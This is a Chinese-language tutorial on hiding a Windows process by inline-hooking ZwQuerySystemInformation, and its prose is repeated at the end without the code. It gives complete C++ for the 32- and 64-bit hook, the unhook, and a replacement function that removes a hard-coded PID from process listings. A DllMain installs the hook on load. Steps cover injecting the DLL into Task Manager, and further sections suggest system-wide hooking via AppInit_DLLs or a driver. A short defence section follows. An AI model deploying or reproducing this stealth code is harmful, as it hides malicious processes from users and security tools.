HOOK之进程隐藏
字数 1424 2025-08-09 15:23:08

HOOK技术实现进程隐藏 - 深入解析与实现

1. 前言与背景

进程隐藏技术是恶意软件和某些安全产品常用的技术手段,通过隐藏进程可以规避常规的检测方法。本文重点讲解通过HOOK技术实现进程隐藏的方法,特别是针对ZwQuerySystemInformation函数的HOOK技术。

2. 进程隐藏技术概览

2.1 常见进程隐藏技术

  1. 进程伪装

    • 修改PEB中的路径和命令行信息
    • 将恶意进程名称替换为正常进程名称
  2. 傀儡进程

    • 挂起目标进程
    • 替换内存数据
    • 卸载原始镜像
    • 修改上下文
    • 执行恶意代码
    • 常用于壳程序实现
  3. HOOK技术

    • 通过HOOK Ring3底层API实现
    • 本文重点:HOOK ZwQuerySystemInformation
  4. 其他技术:

    • COM劫持
    • DLL劫持
    • DLL注入

3. 技术原理

3.1 进程枚举的底层机制

Windows系统中,常见的进程枚举API包括:

  • EnumProcess
  • CreateToolhelp32Snapshot

这些API在Ring3层的底层最终都会调用ZwQuerySystemInformation函数:

NTSTATUS WINAPI ZwQuerySystemInformation(
    _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
    _Inout_ PVOID SystemInformation,
    _In_ ULONG SystemInformationLength,
    _Out_opt_ PULONG ReturnLength
);

3.2 HOOK实现原理

通过HOOK ZwQuerySystemInformation函数:

  1. 重定向函数执行流
  2. 篡改返回的进程信息
  3. 过滤掉需要隐藏的进程信息

4. 实现细节

4.1 架构差异

不同架构下的HOOK实现方式不同:

32位系统

  • 修改5字节硬编码:0xe9 xx xx xx xx
  • 使用JMP指令实现跳转

64位系统

  • 修改12字节硬编码:0x48 0xb8 xx xx xx xx xx xx xx xx 0xFF 0xE0
  • 使用MOV+JMP组合指令实现跳转
  • 注意:64位下函数名可能为RtlGetNativeSystemInformation

4.2 核心代码实现

4.2.1 HOOK函数实现

void hookZwQuerySystemInformation() {
    // 获取ntdll.dll模块
    HMODULE hntdll = LoadLibraryA("ntdll.dll");
    if (!hntdll) {
        std::cout << "[!] Load ntdll Faild..\n";
        return;
    }

    // 定义函数指针类型
#ifdef _WIN64
    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
        _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
        _Inout_ PVOID SystemInformation,
        _In_ ULONG SystemInformationLength,
        _Out_opt_ PULONG ReturnLength
    );
#else
    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
        _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
        _Inout_ PVOID SystemInformation,
        _In_ ULONG SystemInformationLength,
        _Out_opt_ PULONG ReturnLength
    );
#endif

    // 获取函数地址
    typedef_ZwQuerySystemInformation ZwQuerySystemInformation = 
        (typedef_ZwQuerySystemInformation)::GetProcAddress(hntdll, "ZwQuerySystemInformation");
    if (!ZwQuerySystemInformation) {
        std::cout << "[!] Get ZwQuerySystemInformation Addr Faild..\n";
        return;
    }

    // 准备HOOK代码
#ifdef _WIN64
    BYTE pData[12] = { 0x48, 0xb8, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xFF, 0xE0 };
    ULONGLONG InfoAddr = (ULONGLONG)New_ZwQuerySystemInformation;
    ::RtlCopyMemory(&pData[2], &InfoAddr, sizeof(InfoAddr));
    ::RtlCopyMemory(g_Oldwin64, ZwQuerySystemInformation, sizeof(pData));
#else
    BYTE pData[5] = { 0xe9, 0x0, 0x0, 0x0, 0x0 };
    DWORD dwOffeset = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;
    RtlCopyMemory(&pData[1], &dwOffeset, sizeof(dwOffeset));
    RtlCopyMemory(g_Oldwin32, ZwQuerySystemInformation, sizeof(pData));
#endif

    // 修改内存保护属性并写入HOOK代码
    DWORD dwOldProtect = NULL;
    VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect);
    RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData));
    VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);
}

4.2.2 UNHOOK函数实现

void unhookZwQuerySystemInformation() {
    HMODULE hntdll = LoadLibraryA("ntdll.dll");
    if (!hntdll) {
        std::cout << "[!] Load ntdll Faild..\n";
        return;
    }

    // 定义函数指针类型(同上)
    // 获取函数地址(同上)

    // 恢复原始代码
    DWORD dwOldProtect = NULL;
    VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);
#ifdef _WIN64
    RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin64, sizeof(g_Oldwin64));
#else
    RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin32, sizeof(g_Oldwin32));
#endif
    VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect);
}

4.2.3 自定义处理函数

NTSTATUS WINAPI New_ZwQuerySystemInformation(
    SYSTEM_INFORMATION_CLASS SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength)
{
    NTSTATUS status = NULL;
    PSYSTEM_PROCESS_INFORMATION pCur = NULL, pPrev = NULL;
    DWORD dwHideProcessId = 29936; // 要隐藏的进程ID

    // 先卸载钩子
    unhookZwQuerySystemInformation();

    // 获取原始函数地址
    HMODULE hntdll = LoadLibraryA("ntdll.dll");
    if (!hntdll) {
        std::cout << "[!] Load ntdll Faild..\n";
        return status;
    }
    
    // 定义函数指针类型(同上)
    typedef_ZwQuerySystemInformation ZwQuerySystemInformation = 
        (typedef_ZwQuerySystemInformation)::GetProcAddress(hntdll, "ZwQuerySystemInformation");
    if (!ZwQuerySystemInformation) {
        std::cout << "[!] Get ZwQuerySystemInformation Addr Faild..\n";
        return status;
    }

    // 调用原始函数
    status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation, 
                                    SystemInformationLength, ReturnLength);

    // 处理返回的进程信息
    if (NT_SUCCESS(status) && 5 == SystemInformationClass) {
        pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
        while (TRUE) {
            // 判断是否是要隐藏的进程PID
            if (dwHideProcessId == (DWORD)pCur->UniqueProcessId) {
                if (0 == pCur->NextEntryOffset) {
                    pPrev->NextEntryOffset = 0;
                } else {
                    pPrev->NextEntryOffset = pPrev->NextEntryOffset + pCur->NextEntryOffset;
                }
            } else {
                pPrev = pCur;
            }
            
            if (0 == pCur->NextEntryOffset) {
                break;
            }
            pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE*)pCur + pCur->NextEntryOffset);
        }
    }

    // 重新挂钩
    hookZwQuerySystemInformation();
    return status;
}

4.3 DLL主函数

BOOL APIENTRY DllMain(
    HMODULE hModule,
    DWORD ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
        hookZwQuerySystemInformation();
        g_hModule = hModule;
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        unhookZwQuerySystemInformation();
        break;
    }
    return TRUE;
}

5. 测试与验证

5.1 测试环境

  • Windows 10 64位系统
  • 需要编写或使用现有的DLL注入工具

5.2 测试步骤

  1. 确定要隐藏的进程ID(如QQ进程)
  2. 编译生成DLL(注意位数匹配)
  3. 使用注入工具将DLL注入到目标进程(如任务管理器)
  4. 验证目标进程是否从进程列表中消失

5.3 注意事项

  • DLL位数必须与目标进程匹配(32位或64位)
  • 注入目标选择系统关键进程(如任务管理器)效果更明显
  • 测试时建议使用虚拟机环境

6. 扩展思考

6.1 全局HOOK实现

要实现对所有进程的HOOK,可以考虑:

  1. 全局钩子(Global Hook):通过SetWindowsHookEx设置全局钩子
  2. AppInit_DLLs:利用注册表键值实现DLL全局加载
  3. 驱动级HOOK:在Ring0层实现更底层的HOOK

6.2 防御措施

了解此类技术有助于防御:

  1. 检测内存中的HOOK代码
  2. 使用直接系统调用绕过Ring3 HOOK
  3. 内核模式检测
  4. 校验关键系统函数的完整性

7. 总结

本文详细介绍了通过HOOK ZwQuerySystemInformation实现进程隐藏的技术,包括:

  • 不同架构下的HOOK实现差异
  • 完整的代码实现
  • 测试验证方法
  • 扩展应用思路

这种技术展示了Windows API HOOK的强大能力,同时也提醒我们系统安全防护需要多层次、多维度的防御策略。

HOOK技术实现进程隐藏 - 深入解析与实现 1. 前言与背景 进程隐藏技术是恶意软件和某些安全产品常用的技术手段,通过隐藏进程可以规避常规的检测方法。本文重点讲解通过HOOK技术实现进程隐藏的方法,特别是针对 ZwQuerySystemInformation 函数的HOOK技术。 2. 进程隐藏技术概览 2.1 常见进程隐藏技术 进程伪装 : 修改PEB中的路径和命令行信息 将恶意进程名称替换为正常进程名称 傀儡进程 : 挂起目标进程 替换内存数据 卸载原始镜像 修改上下文 执行恶意代码 常用于壳程序实现 HOOK技术 : 通过HOOK Ring3底层API实现 本文重点:HOOK ZwQuerySystemInformation 其他技术: COM劫持 DLL劫持 DLL注入 3. 技术原理 3.1 进程枚举的底层机制 Windows系统中,常见的进程枚举API包括: EnumProcess CreateToolhelp32Snapshot 这些API在Ring3层的底层最终都会调用 ZwQuerySystemInformation 函数: 3.2 HOOK实现原理 通过HOOK ZwQuerySystemInformation 函数: 重定向函数执行流 篡改返回的进程信息 过滤掉需要隐藏的进程信息 4. 实现细节 4.1 架构差异 不同架构下的HOOK实现方式不同: 32位系统 : 修改5字节硬编码: 0xe9 xx xx xx xx 使用JMP指令实现跳转 64位系统 : 修改12字节硬编码: 0x48 0xb8 xx xx xx xx xx xx xx xx 0xFF 0xE0 使用MOV+JMP组合指令实现跳转 注意:64位下函数名可能为 RtlGetNativeSystemInformation 4.2 核心代码实现 4.2.1 HOOK函数实现 4.2.2 UNHOOK函数实现 4.2.3 自定义处理函数 4.3 DLL主函数 5. 测试与验证 5.1 测试环境 Windows 10 64位系统 需要编写或使用现有的DLL注入工具 5.2 测试步骤 确定要隐藏的进程ID(如QQ进程) 编译生成DLL(注意位数匹配) 使用注入工具将DLL注入到目标进程(如任务管理器) 验证目标进程是否从进程列表中消失 5.3 注意事项 DLL位数必须与目标进程匹配(32位或64位) 注入目标选择系统关键进程(如任务管理器)效果更明显 测试时建议使用虚拟机环境 6. 扩展思考 6.1 全局HOOK实现 要实现对所有进程的HOOK,可以考虑: 全局钩子(Global Hook) :通过SetWindowsHookEx设置全局钩子 AppInit_ DLLs :利用注册表键值实现DLL全局加载 驱动级HOOK :在Ring0层实现更底层的HOOK 6.2 防御措施 了解此类技术有助于防御: 检测内存中的HOOK代码 使用直接系统调用绕过Ring3 HOOK 内核模式检测 校验关键系统函数的完整性 7. 总结 本文详细介绍了通过HOOK ZwQuerySystemInformation 实现进程隐藏的技术,包括: 不同架构下的HOOK实现差异 完整的代码实现 测试验证方法 扩展应用思路 这种技术展示了Windows API HOOK的强大能力,同时也提醒我们系统安全防护需要多层次、多维度的防御策略。